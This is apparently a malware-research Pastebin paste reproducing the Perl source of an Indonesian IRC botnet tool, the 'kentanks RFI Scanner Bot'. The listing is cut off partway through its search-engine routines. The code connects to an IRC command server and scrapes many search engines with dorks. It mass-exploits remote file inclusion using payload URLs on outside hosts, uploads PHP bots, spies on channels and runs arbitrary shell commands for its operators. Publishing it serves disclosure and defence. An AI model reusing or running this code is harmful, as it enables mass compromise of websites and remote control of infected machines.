SHARE
TWEET

Snagged: Perl RFI Scanner Bot 0.1

MalwareMustDie Jun 2nd, 2014 554 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. // MalwareMustDie!
  2. // Snagged: Perl RFI Scanner Bot 0.1
  3.  
  4. #!/usr/bin/perl
  5.  
  6. print('
  7. ##################################
  8. # kentanks  RFI Scanner Bot 0.1  #
  9. # By maleng target allnetwork    #
  10. # 28-februari 2010 remaja team   #
  11. ##################################
  12. ');
  13. ######################################################
  14. ## Usage:                                           ##
  15. ##   perl file.txt <chan> <server> <port>           ##
  16. ## Notes:                                           ##
  17. ## + All Parameters are optional                    ##
  18. ##                                                  ##
  19. ## Features:                                        ##
  20. ## + RFI Scanner                                    ##
  21. ## + AUTO RFI Scanner Domains                       ##
  22. ## + RFI Scan & Exploit (Exploit per engine)        ##
  23. ## + Joomla RFI Scan & Exploit                      ##
  24. ## + UPLOAD BOT PHP                                 ##
  25. ## + Milw0rm Search                                 ##
  26. ## + Google bypass (Using PHP)                      ##
  27. ## + Message Spy & Save                             ##
  28. ######################################################
  29. ## History:
  30. ## + Fixed cryptz command (v4.5)
  31. ## + Fixed user commands execution by unauthorized user (v4.6)
  32. ## + Added options to enable/disable encrypted password (v4.7)
  33. ## + Fixed missing hostname on sublink (v4.8)
  34.  
  35. use strict;
  36.  
  37. use IO::Socket::INET;
  38. use LWP::UserAgent;
  39. use HTTP::Request;
  40.  
  41. my $versi   = "loaded by kentanks";
  42. my $cmdpre  = "."; #Command Prefix
  43.  
  44. ##[ KONFIGURASI URL ]##
  45. my $zfxid  = "http://pastie.org/965941.txt?"; #zFxID1 (Simple) / #Fx29ID2 (Advanced)
  46. my $zfxid2 = "http://pastie.org/965947.txt?"; #zFxID2 (Advanced)
  47. my $fx29sh  = "remaja-team"; #Fx29Sh (Optional)
  48. my $bypass  = "http://rizty.zoomshare.com/files/pink.txt?"; #Google Bypasserz (Optional)
  49. my $pbot    = "?"; #phpbot (Optional)
  50. my $thebot  = "?"; #phpbot2 (Optional)
  51. my $cbot    = "?"; #phpbot3 (Optional)
  52. my $botscan = "?"; #botscanloader (Optional)
  53. my $botedan = ""; #botedanloader (Optional)
  54.  
  55. ##[ KONFIGURASI SOURCE ]##
  56. my $mysite  = "http://thailandjoy.com/backup-06-03-2552/images/icons/"; #Path to Sources URL (Optional)
  57. my $spread  = "?"; #ZFxSpreadz (Optional)
  58. my $joomlaz = $mysite."joomla.txt"; #Joomla's Bugs List (Required for Joomla RFI Scanner)
  59.  
  60. ##[ KONFIGURASI IRC ]##
  61. my @servers = ("localhost");
  62. my %bot     = (
  63.   nick    => "scans[".int(rand(100))."]",
  64.   ident   => "temi".int(rand(100)),
  65.   chan    => ["x"],
  66.   server  => $servers[rand(scalar(@servers))],
  67.   port    => "28498"
  68. );
  69.  
  70. ##[ KONFIGURASI USER ##
  71. ## cryptz: 0 = Not Encrypted, 1 = Encrypted
  72. my %boss = (
  73.     ridhO => {
  74.     pass   => "q",
  75.     status => "admin",
  76.     cryptz =>  0,
  77.     login  => 0
  78.   },
  79. );
  80.  
  81. ##[ KONFIGURASI SPY ]##
  82. my %spy = (
  83.   host   => "",
  84.   chanz  => [""],
  85.   wordz  => ['http:\/\/.*[=]'],
  86.   foundz => []
  87. );
  88.  
  89. ##[ KONFIGURASI BOT ]##
  90. ## Options: 0 = Disable, 1 = Enable
  91. my %conf = (
  92.   showsite => 0, #Show link to debug channel (Yes/No)
  93.   linez    => 3, #Lines per message
  94.   sleepz   => 3, #Message delay per linez (seconds)
  95.   rfipid   => 50, #Sites per proccess
  96.   rficnt   => 100, #Counter setting
  97.   rficnt2  => 100, #Counter setting
  98.   timeout  => 4, #Http socket time out
  99. );
  100.  
  101. ##[ KONFIGURASI WARNA ]##
  102. my %colz = (
  103.   1 => "2 [x]1 " , 1 => " 2[x]", #Header
  104.   3 => "7,1+[0 " , 4 => " 1]7,1+", #Proses
  105. );
  106.  
  107. ##[ PARAMETER BARIS PERINTAH ]##
  108. $bot{chan}   = "#".$ARGV[0] if $ARGV[0];
  109. $bot{server} = $ARGV[1] if $ARGV[1];
  110. $bot{port}   = $ARGV[2] if $ARGV[2];
  111.  
  112. ##[ INISIALISASI VARIABEL ]##
  113. my $chanx    = "#g4di3z"; #2nd Channel to show the results of vurnerable site
  114. my $dbgchan  = "#fsfw"; #For debugging purposes (Optional)
  115. my $nickx    = "kentanks"; #nickpv
  116. my @chans    = ($bot{chan});
  117. my @badbugz  = ("scan","bug"); #Bad bugs to cancel scanning
  118. my @baddorkz = ("dork"); #Bad dorks to cancel scanning
  119. my $keluar   = 0;
  120. my $sock;
  121.  
  122. ##[ KONFIGURASI LOCALTESTING ]##
  123. my $tez = $ARGV[3];
  124. if ($tez == 1) {
  125.   $zfxid  = "http://museum-mputantular.com/css/id1?";
  126.   $zfxid2 = "http://museum-mputantular.com/css/id2?";
  127.   $fx29sh  = "remaja-team?";
  128. }
  129.  
  130. ##[ PROGRAM UTAMA ]##
  131. if (fork() == 0) { while ($keluar != 1) { irc_connect(); } die("KeLuaR!"); }
  132.  
  133. ##[ SUBRUTIN KONEKSI IRC ]##
  134. sub irc_connect {
  135.   $sock = IO::Socket::INET->new(PeerAddr => $bot{server},
  136.                                 PeerPort => $bot{port},
  137.                                 Proto    => 'tcp')
  138.                             or die "Ga bisa connect ke ".$bot{server}.":".$bot{port}."\r\n";
  139.   $sock->autoflush(1);
  140.  
  141.   irc_nick($bot{nick});
  142.   irc_user($bot{ident});
  143.  
  144.   my ($baris,$hb);
  145.   my $loginboss = 0;
  146.   my $userstat  = "";
  147.  
  148.   while ( $baris = <$sock> ) {
  149.     $hb++;
  150.  
  151.     ##[ PARSING ]##
  152.     my $com;
  153.     my $me = $bot{nick};
  154.     my ($fcom,$dteks,@teks) = split(/\s+:/,$baris);
  155.     my ($duhost,$dcom,$dtarget) = split(/ /,$fcom);
  156.     my ($dnick,$dhost) = split(/!/,$duhost);
  157.     $dcom    = "" unless ($dcom);
  158.     $dtarget = "" unless ($dtarget);
  159.     $dnick =~ s/://;
  160.     $dteks = trimrn($dteks);
  161.     if ($dteks =~ /^[$cmdpre](.*)/) { $com = $1; } else { $com = ""; }
  162.  
  163.     #print $baris."\n$dnick | $dcom | $dtarget : $dteks\n";
  164.  
  165.     ##[ CEK USER ]##
  166.     if   ($boss{$dnick}) { ($loginboss,$userstat) = ($boss{$dnick}{"login"},$boss{$dnick}{"status"}); }
  167.     else { ($loginboss,$userstat) = (0,""); }
  168.  
  169.  ##[ RESPON KE SERVER ]##
  170.     if    ($dnick =~ /PING/) { irc_raw("PONG $dteks"); }
  171.     if    ($dcom =~ /001/) { irc_join($chanx); foreach my $c (@chans) { irc_join($c); } }
  172.     elsif ($dcom =~ /NICK|PART|QUIT/) { if ( $boss{$dnick}{"login"} == 1 ) { $boss{$dnick}{"login"} = 0; irc_ntc($dnick,"Logout!");  } }
  173.  
  174.     ##[ PERINTAH PUBLIK ]##
  175.     if    (($dtarget) && ($dtarget eq $me)) { $dtarget = $dnick; }
  176.     if    ($com =~ /^help$/) { bot_help($dtarget,1); }
  177.     elsif ($com =~ /^info$/) { bot_info($dtarget); }
  178.     elsif ($com =~ /^gaebot\s+(http:\/\/.*[=])/) { gae_bota($dtarget,$dnick,$1); }
  179.     elsif ($com =~ /^gaebotendel\s+(http:\/\/.*[=])/) { gae_botb($dtarget,$dnick,$1); }
  180.     elsif ($com =~ /^gaebotping\s+(http:\/\/.*[=])/) { gae_botc($dtarget,$dnick,$1); }
  181.     elsif ($com =~ /^upbot\s+(http:\/\/.*[=])/) { gae_botm($dtarget,$dnick,$1); }
  182.     elsif ($com =~ /^enter\s+(http:\/\/.*[=])/) { entered($dtarget,$dnick,$1); }
  183.     elsif ($com =~ /^gaebotscan\s+(http:\/\/.*[=])/) { gaescan($dtarget,$dnick,$1); }
  184.     elsif ($com =~ /^gaebotedan\s+(http:\/\/.*[=])/) { gaeruwet($dtarget,$dnick,$1); }
  185.     elsif ($com =~ /^respon/) { cek_respon($dtarget); }
  186.     elsif ($com =~ /^milw0rm\s+(.*)/) { milw0rm($dtarget,$1); }
  187.     elsif ($com =~ /^url(en|de)\s+(.*)/) {
  188.       my $url = $2; my $en;
  189.       if    ( $1 eq "en" ) { $en = "Encode"; $url = urlen($url); }
  190.       elsif ( $1 eq "de" ) { $en = "Decode"; $url = urlde($url); }
  191.       msgi($dtarget,"URL $en", $url);
  192.     }
  193.     elsif ($com =~ /^cek\s+(http:\/\/.*[=])/) { cek_shell($dtarget,$dnick,$1); }
  194.     elsif ($com =~ /^power\s+(.*)/ && $boss{$dnick}) {
  195.       my $pass = $1; my $auth = $boss{$dnick}{"login"};
  196.       if ( $pass && $auth == 0 ) {
  197.         if ($pass eq $boss{$dnick}{"pass"}) {
  198.           $boss{$dnick}{"login"} = 1;
  199.           irc_ntc($dnick,"OK ".$boss{$dnick}{"status"}."!");
  200.         }
  201.         else { irc_ntc($dnick,"Error!"); }
  202.       }
  203.       else {
  204.         if ($auth == 0) { irc_ntc($dnick,"Blom auth!"); }
  205.         else { irc_ntc($dnick,$boss{$dnick}{"status"}."!"); } }
  206.     }
  207.     if ($dtarget && $dtarget ne $me) {
  208.       if    (($com =~ /^scan\s+(.+?[=])\s+(.*)/) && (fork() == 0)) { s_scanz($dtarget,$1,$2,$hb,1); exit;  }
  209.       if    (($com =~ /^autoscan\s+(.+?[=])\s+(.*)/) && (fork() == 0)) { a_scanz($dtarget,$1,$2,$hb,1); exit;  }
  210.       elsif (($com =~ /^scan2\s+(.+?[=])\s+(.*)/) && (fork() == 0)) { s_scanz($dtarget,$1,$2,$hb,2); exit; }
  211.     }
  212.     ##[ END OF PUBLIC ]##
  213.  
  214.     ##[ PERINTAH USER ]##
  215.     if ($loginboss == 1) {
  216.       if    ($com =~ /^help/) { bot_help($dtarget,2); }
  217.       elsif ($com =~ /^join\s+(.*)/) { irc_join($1); push(@chans,$1); }
  218.       elsif ($com =~ /^part\s+(.*)/) {
  219.         my $pchan = $1; irc_part($1);
  220.         for my $i(0..scalar(@chans)) { if ($chans[$i] eq $pchan) { undef $chans[$i]; } }
  221.       }
  222.       elsif ($com =~ /^nick\s+(.*)/) { $bot{nick} = $1; irc_nick($bot{nick}); }
  223.       elsif ($com =~ /^bos$/ ) { my @bos = keys %boss; my $bos2 = join(" ",@bos); msgi($dtarget,"BoZz",$bos2); }
  224.       elsif ($com =~ /^cryptz\s+(.*)/) { msgi($dnick,$1,cryptz($1)); }
  225.       elsif ($com =~ /^logout$/ ) { $boss{$dnick}{"login"} = 0; irc_ntc($dnick,"Logout berhasil!"); }
  226.       elsif (($com =~ /^joomla\s+(.*)/) && (fork() == 0)) { s_scanz($dtarget,"",$1,$hb,3); exit; }
  227.       elsif ($com =~ /^sublink\s+(.*)/) { my @sl = lnk_sub($1); foreach my $e(@sl) { irc_msg($dtarget,$e); } }
  228.       elsif ($com =~ /^http(1|2|3)\s+(.+?)\s+(.*)/) {
  229.         my ($t,$nf,$q) = ($1,$2,$3);
  230.         my $h;
  231.         if ($t == 1) { $h = bukasitus($q); }
  232.         elsif ($t == 2) { $h = bukasitus2($q); }
  233.         else { $h = bukasitus3($q); }
  234.         f_simpan2($nf,$h); ntci($dnick,"SaVeD ($t)",$nf);
  235.       }
  236.       elsif ($com =~ /^regex(1|2)\s+(.+?)\s+(.*)/) {
  237.         my $n = $1;
  238.         my $q = bukasitus($2);
  239.         my $regex = $3;
  240.         if ($n ==1) {
  241.           if ($q !~ /$regex/) { irc_msg($dtarget,"Ga cocok!"); }
  242.           while ($q =~ m/$regex/g ) { irc_msg($dtarget,$1); sleep(1); }
  243.         }
  244.         else {
  245.           while ($q =~ m/<a href=\"(.*?)\">http:\/\/(.*?)<\/a>/g) { irc_msg($dtarget,$2); sleep(1); }
  246.         }
  247.       }
  248.     }
  249.     ##[ END OF USER ]##
  250.  
  251.     ##[ PERINTAH ADMIN ]##
  252.     if (($loginboss == 1) && ($userstat eq "admin")) {
  253.       if    ($com =~ /^help/) { bot_help($dtarget,3); }
  254.     elsif ($com =~ /^rahasia/) { bot_help($dtarget,4); }
  255.       elsif ($com =~ /^gojoin\s+(.*)/) { irc_join($1); push(@chans,$1); }
  256.       elsif ($com =~ /^gopart\s+(.*)/) {
  257.         my $pchan = $1; irc_part($1);
  258.         for my $i(0..scalar(@chans)) { if ($chans[$i] eq $pchan) { undef $chans[$i]; } }
  259.       }
  260.       elsif ($com =~ /^gonick\s+(.*)/) { $bot{nick} = $1; irc_nick($bot{nick}); }
  261.       elsif ($com =~ /^rfiproses\s+([0-9].*)/) { $conf{rfipid} = $1; msgi($dtarget,"RFI Pid",$conf{rfipid}); }
  262.       elsif ($com =~ /^minggat/) { irc_quit("Good Bye!"); $keluar = 1; exit; }
  263.       elsif ($com =~ /^reonline/) { irc_quit("Restarted proses!"); }
  264.       elsif ($com =~ /^explo\s+([0-9].*)/) { $conf{rficnt} = $1; msgi($dtarget,"RFI Count",$conf{rficnt}); }
  265.       elsif ($com =~ /^cshell\s+(.*)/) { $fx29sh = $1; msgi($dtarget,"Injector RFI",$fx29sh); }
  266.       elsif ($com =~ /^csp\s+(.*)/) { $spread = $1; msgi($dtarget,"Injector Spread",$spread); }
  267.       elsif ($com =~ /^chanhasil\s+(.*)/) { $chanx = $1; msgi($dtarget,"Chan Hasil Target ",$chanx); }
  268.       elsif ($com =~ /^goid(1|2)\s+(.*)/) {
  269.         my ($n,$url) = ($1,$2);
  270.         if    ($n == 1) { $zfxid = $url; }
  271.         elsif ($n == 2) { $zfxid2 = $url; }
  272.         msgi($dtarget,"Respon $n RFI",$url);
  273.       }
  274.       elsif ($com =~ /^urlbot(1|2|3)\s+(.*)/) {
  275.         my ($n,$url) = ($1,$2);
  276.         if    ($n == 1) { $pbot = $url; }
  277.         elsif ($n == 2) { $thebot = $url; }
  278.         elsif ($n == 3) { $cbot = $url; }
  279.         msgi($dtarget,"12 - x - 11Change Bot url3 $n 1Tranforms3 ",$url);
  280.       }
  281.       elsif ($com =~ /^urlcetak(1|2)\s+(.*)/) {
  282.         my ($n,$url) = ($1,$2);
  283.         if    ($n == 1) { $botscan = $url; }
  284.         elsif ($n == 2) { $botedan = $url; }
  285.         msgi($dtarget,"12 - x - 11Change url Mesin Cetak3 $n 1Tranforms3 ",$url);
  286.       }
  287.       elsif ($com =~ /^chans/) { my $chans = join(",", @chans); ntci($dnick,"ChaNz",$chans);  }
  288.       ##[ PERINTAH SPY ]##
  289.       elsif ($com =~ /^spy$/ ) { ntci($dnick,"SpY","Host: ".$spy{"host"}." Chans: ".join(",", @{ $spy{"chanz"} })." Words: ".join(",", @{ $spy{"wordz"} })); }
  290.       elsif ($com =~ /^spy(found|show|clear)$/ ) {
  291.         my $n = $1;
  292.         if ($n eq "found") { msgi($dtarget,"SpYFouNd",scalar(@{ $spy{"foundz"} })); }
  293.         elsif ($n eq "show") {
  294.           my $i = 0;
  295.           for my $f (@{ $spy{"foundz"} }) { irc_msg($dtarget,$f); }
  296.           $i++; if ($i % $conf{linez} == 0) { sleep($conf{sleepz}); }
  297.         }
  298.         elsif ($n eq "clear") { $spy{"foundz"} = []; msgi($dtarget,"SpyList","DiBersiHkaN!"); }
  299.         else { msge($dtarget,"Spy","PeRinTah SaLah!"); }
  300.       }
  301.       elsif ($com =~ /^spyhost\s+(.*)/ ) { $spy{"host"} = $1; ntci($dnick,"SpYHosT",$spy{"host"}); }
  302.       elsif ($com =~ /^spychan\s+(.*)/ ) {
  303.         unless ($spy{"host"}) { msge($dtarget,"SiLaHkaN SeT SpyHost TerLebih DahuLu!",""); }
  304.         else{ irc_join($1); push @{ $spy{"chanz"} }, $1; my $chans = join(",", @{ $spy{"chanz"} }); ntci($dnick,"SpYChaNz",$chans); }
  305.       }
  306.       elsif ($com =~ /^spyword\s+(.*)/ ) { push @{ $spy{"wordz"} }, $1; my $words = join(",", @{ $spy{"wordz"} }); ntci($dnick,"SpYWoRDz",$words); }
  307.       ##[ END OF PERINTAH SPY ]##
  308.       elsif ($com =~ /^keluar/) { irc_quit("Killed!"); $keluar = 1; system("killall perl"); exit; }
  309.       elsif ($com =~ /^raw\s+(.*)/) { irc_raw($1); }
  310.       elsif ($com =~ /^cspread\s+(.*)/) {
  311.         my $url = $1;
  312.         $spread = $url;
  313.         msgi($dtarget,"Spread RFI",$spread);
  314.       }
  315.       elsif ($com =~ /^\+bos\s+(.+?)\s+(.*)/) {
  316.         $boss{$1}{pass}   = "fx";
  317.         $boss{$1}{status} = $2;
  318.         $boss{$1}{login}  = 0;
  319.         $boss{$1}{cryptz} = 0;
  320.         ntci($dnick,"BoZz","$1 ditambahkan sbg ".$boss{$1}{status});
  321.         msgi($1,"BoZz","Hai $1! Ketik .auth ".$boss{$1}{pass});
  322.       }
  323.       elsif ($com =~ /^eval\s+(.*)/) { eval($1); }
  324.       elsif (( $com =~ /^cmd\s+(.*)/) && ( fork() == 0 ) ) {
  325.         my $cmd = $1;
  326.         if ($cmd =~ /cd (.*)/) { chdir("$1") || irc_msg($dtarget,"Ga bisa ganti dir!"); return; }
  327.         my @output = `$cmd`;
  328.         my $i = 0;
  329.         foreach my $out (@output) {
  330.           $i++; if ($i % $conf{linez} == 0) { sleep($conf{sleepz}); }
  331.           irc_msg($dtarget,"$out");
  332.         }
  333.         exit;
  334.       }
  335.     }
  336.     ## END OF ADMIN ##
  337.  
  338.     ##[ MATA-MATA ]##
  339.     if ($dtarget ne $spy{"host"}) {
  340.       my $is_spychan = grep $_ eq $dtarget, @{$spy{"chanz"}};
  341.       if ($is_spychan == 1) {
  342.          for my $t (@{$spy{"wordz"}}) {
  343.            if ($dteks =~ /$t/) {
  344.              msgi($spy{"host"},"!",$dteks); sleep(1);
  345.              push @{ $spy{"foundz"} }, $dteks;
  346.            }
  347.          }
  348.        }
  349.     }
  350.     ##[ END OF MATA-MATA ]##
  351.   }
  352.   ## END WHILE ##
  353. }
  354. ## END KONEK ##
  355.  
  356. #########################
  357. ##[ RUTIN EKSPLOITASI ]##
  358. #########################
  359. sub s_scanz {
  360.   my ($to,$bug,$dork,$sb,$type) = @_;
  361.   $sb = "Fx".$sb.".txt";
  362.   $dork = bersihdork($to,$dork);
  363.   my %typez = (
  364.     1 => "RFI ScaNneR",
  365.     2 => "RFI ScaN & ExpLoiT",
  366.     3 => "JooMLa MaSs ScaN & ExpLoiT"
  367.   );
  368.   my $badbug  = cek_bug($bug);
  369.   if ($badbug == 1) { msge($to,"BuG","BuGnya JeLek! ScaNNinG DiCanCeL"); return; }
  370.   my $baddork = cek_dork($dork);
  371.   if ($baddork == 1) { msge($to,"DoRk","DorKnya JeLek! ScaNNinG DiCanCeL"); return; }
  372.   if ($type == 3) {
  373.     my $h = bugjoomla("hitung");
  374.     if ($h == 0) { msge($to,"Joomla","BuGnya Ga BiSa DiLoaD! ScaNNinG DiCanCeL"); return; }
  375.   }
  376.   irc_msg($to,$colz{1}."cek ReSpoN doken..".$colz{2});
  377.   my $stat = cek_respon($to);
  378.   if ($stat != 2) { irc_msg($to,$colz{1}."ReSpoN dak idup..! ScaNning diCaNCeL!".$colz{2}); return; }
  379.   irc_msg($to,$colz{1}."".$typez{$type}." DiMuLai!1 ".$conf{rfipid}."/PID 9ID:1 $sb".$colz{2});
  380.   irc_msg($to,$colz{1}."BuGz:1 $bug ") if ($type != 3);
  381.   irc_msg($to,$colz{1}."DoRkz:1 $dork ");
  382.   s_cari($to,$dork,$sb,$bug,$type);
  383.   s_eksploit(1,$to,$bug,$dork,$sb) if ($type == 1);
  384.   irc_msg($to,$colz{1}."".$typez{$type}." SeLeSai!1 $dork 9ID:1 $sb".$colz{2});
  385.   return;
  386. }
  387.  
  388. sub a_scanz {
  389.   my @domini = &SiteDomains();
  390.   my ($to,$bug,$dork,$sb,$type) = @_;
  391.   $sb = "Fx".$sb.".txt";
  392.   $dork = bersihdork($to,$dork);
  393.   my %typez = (
  394.     1 => "Auto RFI ScaNneR Domains",
  395.     2 => "RFI ScaN & ExpLoiT",
  396.     3 => "JooMLa MaSs ScaN & ExpLoiT"
  397.   );
  398.   my $badbug  = cek_bug($bug);
  399.   if ($badbug == 1) { msge($to,"BuG","BuGnya JeLek! ScaNNinG DiCanCeL"); return; }
  400.   my $baddork = cek_dork($dork);
  401.   if ($baddork == 1) { msge($to,"DoRk","DorKnya JeLek! ScaNNinG DiCanCeL"); return; }
  402.   if ($type == 3) {
  403.     my $h = bugjoomla("hitung");
  404.     if ($h == 0) { msge($to,"Joomla","BuGnya Ga BiSa DiLoaD! ScaNNinG DiCanCeL"); return; }
  405.   }
  406.    foreach my $Domains(@domini){
  407.   irc_msg($to,$colz{1}."MeMeRikSa ReSpoN..".$colz{2});
  408.   my $stat = cek_respon($to);
  409.   if ($stat != 2) { irc_msg($to,$colz{1}."ReSpoN Ga BeKerJa! ScaNning diCaNCeL!".$colz{2}); return; }
  410.   irc_msg($to,$colz{1}."11".$typez{$type}." Start!1 ".$conf{rfipid}."/PID 9ID:1 $sb".$colz{2});
  411.   irc_msg($to,$colz{1}."12 -10= 11X10 =7- 1Auto Scan Domain Dijalankan 4Please Waiting For it !!! 12 -10= 11X10 =12-");
  412.     my $auto_dork = $dork." site:".$Domains;
  413.   irc_msg($to,$colz{1}."6BuGz:1 $bug ") if ($type != 3);
  414.   irc_msg($to,$colz{1}."12DoRkz:1 $auto_dork ");
  415.   s_cari($to,$auto_dork,$sb,$bug,$type);
  416.   s_eksploit(1,$to,$bug,$auto_dork,$sb) if ($type == 1);
  417.   irc_msg($to,$colz{1}."".$typez{$type}." SeLeSai!1 $auto_dork 9ID:1 $sb".$colz{2});
  418.    }
  419. }
  420. sub s_eksploit {
  421.   #Type: 1 = Biasa, 2 = Cari dan exploit, 3 = Joomla
  422.   #Engine: Kosong = Eksploit total, Ada = Eksploit per engine
  423.   my ($type,$chan,$bug,$dork,$tf,$engine) = @_;
  424.   my @prosesbaru;
  425.   my @semuatarget;
  426.   my $hitung;
  427.   my $num = 0;
  428.   my @bugjoomla = bugjoomla($chan) if ($type == 3);
  429.   unless (open(FILEZ,"< $tf")) { msge($chan,"FILE","Ga BiSa BuKa $tf!"); return; }
  430.   while (my $r = <FILEZ>) { $r =~ s/\n//g; push(@semuatarget,$r); }
  431.   close(FILEZ);
  432.   f_hapus($tf);
  433.   my @target = lnk_sortir(@semuatarget);
  434.   if (!$engine) {
  435.     irc_msg($chan,$colz{1}."HasIl PencabuLan dari1 $dork".$colz{2});
  436.     irc_msg($chan,$colz{1}."ToTaL:1 ".scalar(@semuatarget)." 9BeRsih:11 ".scalar(@target)." 9ID:0 $tf".$colz{2}." ".$colz{1}."Pemerkosaan DiMuLai!".$colz{2});
  437.   }
  438.   foreach my $situs (@target) {
  439.     $hitung++;
  440.     if ($hitung % $conf{rfipid} == 0) {
  441.       foreach my $f (@prosesbaru) { waitpid($f,0); }
  442.       $num = 0;
  443.     }
  444.     if ($type != 1 && $hitung % $conf{rficnt2} == 0) {
  445.       irc_msg($chan,"9 $engine15 ".$hitung." 10[X] 7 ". scalar(@target). " ");
  446.     }
  447.     if ($type == 1 && $hitung % $conf{rficnt} == 0) {
  448.       irc_msg($chan,$colz{3}.$hitung." 4:1 ".scalar(@target).$colz{4});
  449.     }
  450.     $prosesbaru[$num] = fork();
  451.     if ($prosesbaru[$num] == 0) {
  452.       if ($type != 3) {
  453.         my $q = bukasitus("http://".$situs.$bug.$zfxid."?");
  454.         if ($q =~ /ShiroHige/) { safemode(1,$chan,$situs,$bug,$engine); sleep($conf{sleepz}); }
  455.       }
  456.       else {
  457.         foreach my $bug (@bugjoomla) {
  458.           my $q = bukasitus("http://".$situs.$bug.$zfxid."?");
  459.           if ($q =~ /ShiroHige/) { safemode(1,$chan,$situs,$bug,$engine); sleep($conf{sleepz}); }
  460.         }
  461.       }
  462.       exit(0);
  463.     }
  464.     $num++;
  465.   }
  466.   foreach my $f (@prosesbaru) { waitpid($f,0); }
  467.   if ($engine) { irc_msg($chan,"9 $engine 1FiNizZ! "); }
  468. }
  469. ###########################
  470. ##[ RUTIN SEARCH ENGINE ]##
  471. ###########################################################################
  472. ## GOOGLE  : AOL, *CompuServe, *Mahalo.com, *MySpace, *Netscape, *Ripple ##
  473. ## YAHOO   : AltaVista, AlltheWeb, GoodSearch, *Rectifi                  ##
  474. ## LIVE    : *A9.com, *Ms.Dewey, *Tafiti                                 ##
  475. ## ASK     : *iWon, Lycos                                                ##
  476. ## LAINNYA : Abacho, Clusty, Dmoz, Euroseek, Fireball, Hotbot, Mamma,    ##
  477. ##           Virgilio, Webcrawler, Webde                                 ##
  478. ## * Not implemented yet
  479. ###########################################################################
  480. sub s_cari {
  481.   #Type: 1 = Cari saja, 2 = Cari dan eksploit, 3 = Cari dan eksploit Joomla
  482.   my ($chan,$dork,$nf,$bug,$type) = @_;
  483.   my @engz;
  484.   my $key = $dork;
  485.   $dork = urlen($key);
  486.   $engz[0]  = fork(); if ($engz[0]  == 0) { s_engine("google","Google",$type,$chan,$bug,$dork,$nf); exit; }
  487.   #$engz[1]  = fork(); if ($engz[1]  == 0) { s_engine("aol","Aol",$type,$chan,$bug,$dork,$nf); exit; }
  488.   #$engz[2]  = fork(); if ($engz[2]  == 0) { s_engine("netscape","Netscape",$type,$chan,$bug,$dork,$nf); exit; }
  489.   $engz[3]  = fork(); if ($engz[3]  == 0) { s_engine("yahoo","Yahoo",$type,$chan,$bug,$dork,$nf); exit; }
  490.   $engz[4]  = fork(); if ($engz[4]  == 0) { s_engine("live","Live",$type,$chan,$bug,$dork,$nf); exit; }
  491.   #$engz[5]  = fork(); if ($engz[5]  == 0) { s_engine("ask","Ask",$type,$chan,$bug,$dork,$nf); exit; }
  492.   $engz[6]  = fork(); if ($engz[6]  == 0) { s_engine("google2","Google2",$type,$chan,$bug,$dork,$nf); exit; }
  493.   $engz[7]  = fork(); if ($engz[7]  == 0) { s_engine("altavista","Altavista",$type,$chan,$bug,$dork,$nf); exit; }
  494.   $engz[8]  = fork(); if ($engz[8]  == 0) { s_engine("alltheweb","AllTheWeb",$type,$chan,$bug,$dork,$nf); exit; }
  495.   $engz[9]  = fork(); if ($engz[9]  == 0) { s_engine("goodsrch","GoodSearch",$type,$chan,$bug,$dork,$nf); exit; }
  496.   $engz[10] = fork(); if ($engz[10] == 0) { s_engine("lycos","Lycos",$type,$chan,$bug,$dork,$nf); exit; }
  497.   $engz[11] = fork(); if ($engz[11] == 0) { s_engine("uol","Uol",$type,$chan,$bug,$dork,$nf); exit; }
  498.   #$engz[12] = fork(); if ($engz[12] == 0) { s_engine("fireball","Fireball",$type,$chan,$bug,$dork,$nf); exit; }
  499.   #$engz[13] = fork(); if ($engz[13] == 0) { s_engine("gigablast","Gigablast",$type,$chan,$bug,$dork,$nf); exit; }
  500.   $engz[14] = fork(); if ($engz[14] == 0) { s_engine("virgilio","Virgilio",$type,$chan,$bug,$dork,$nf); exit; }
  501.   $engz[15] = fork(); if ($engz[15] == 0) { s_engine("webde","Web.de",$type,$chan,$bug,$dork,$nf); exit; }
  502.   #$engz[16] = fork(); if ($engz[16] == 0) { s_engine("mamma","Mamma",$type,$chan,$bug,$dork,$nf); exit; }
  503.   $engz[17] = fork(); if ($engz[17] == 0) { s_engine("clusty","Clusty",$type,$chan,$bug,$dork,$nf); exit; }
  504.   #$engz[18] = fork(); if ($engz[18] == 0) { s_engine("dmoz","Dmoz",$type,$chan,$bug,$dork,$nf); exit; }
  505.   $engz[19] = fork(); if ($engz[19] == 0) { s_engine("abacho","Abacho",$type,$chan,$bug,$dork,$nf); exit; }
  506.   #$engz[20] = fork(); if ($engz[20] == 0) { s_engine("euroseek","Euroseek",$type,$chan,$bug,$dork,$nf); exit; }
  507.   $engz[21] = fork(); if ($engz[21] == 0) { s_engine("hotbot","Hotbot",$type,$chan,$bug,$dork,$nf); exit; }
  508.   $engz[22] = fork(); if ($engz[22] == 0) { s_engine("webcrawl","WebCrawler",$type,$chan,$bug,$dork,$nf); exit; }
  509.   foreach my $e (@engz) { waitpid($e,0); }
  510. }
  511. sub s_engine {
  512.     my ($f,$se,$type,$chan,$bug,$dork,$ef) = @_;
  513.     my @hc;
  514.     if    ($f eq "google"   ) { @hc = se_google($chan,$dork,$ef); }
  515.     elsif ($f eq "google2"  ) { @hc = se_google_m($chan,$dork,$ef); }
  516.     elsif ($f eq "aol"      ) { @hc = se_aol($chan,$dork,$ef); } #Unused
  517.     elsif ($f eq "yahoo"    ) { @hc = se_yahoo($chan,$dork,$ef); }
  518.     elsif ($f eq "altavista") { @hc = se_altavista($chan,$dork,$ef); }
  519.     elsif ($f eq "alltheweb") { @hc = se_alltheweb($chan,$dork,$ef); }
  520.     elsif ($f eq "goodsrch" ) { @hc = se_goodsearch($chan,$dork,$ef); }
  521.     elsif ($f eq "ask"      ) { @hc = se_ask($chan,$dork,$ef); }
  522.     elsif ($f eq "lycos"    ) { @hc = se_lycos($chan,$dork,$ef); }
  523.     elsif ($f eq "live"     ) { @hc = se_live($chan,$dork,$ef); }
  524.     elsif ($f eq "hotbot"   ) { @hc = se_hotbot($chan,$dork,$ef); }
  525.     elsif ($f eq "virgilio" ) { @hc = se_virgilio($chan,$dork,$ef); }
  526.     elsif ($f eq "webde"    ) { @hc = se_webde($chan,$dork,$ef); }
  527.     elsif ($f eq "uol"      ) { @hc = se_uol($chan,$dork,$ef); }
  528.     elsif ($f eq "abacho"   ) { @hc = se_abacho($chan,$dork,$ef); } #Unused
  529.     elsif ($f eq "clusty"   ) { @hc = se_clusty($chan,$dork,$ef); }
  530.     elsif ($f eq "webcrawl" ) { @hc = se_webcrawler($chan,$dork,$ef); }
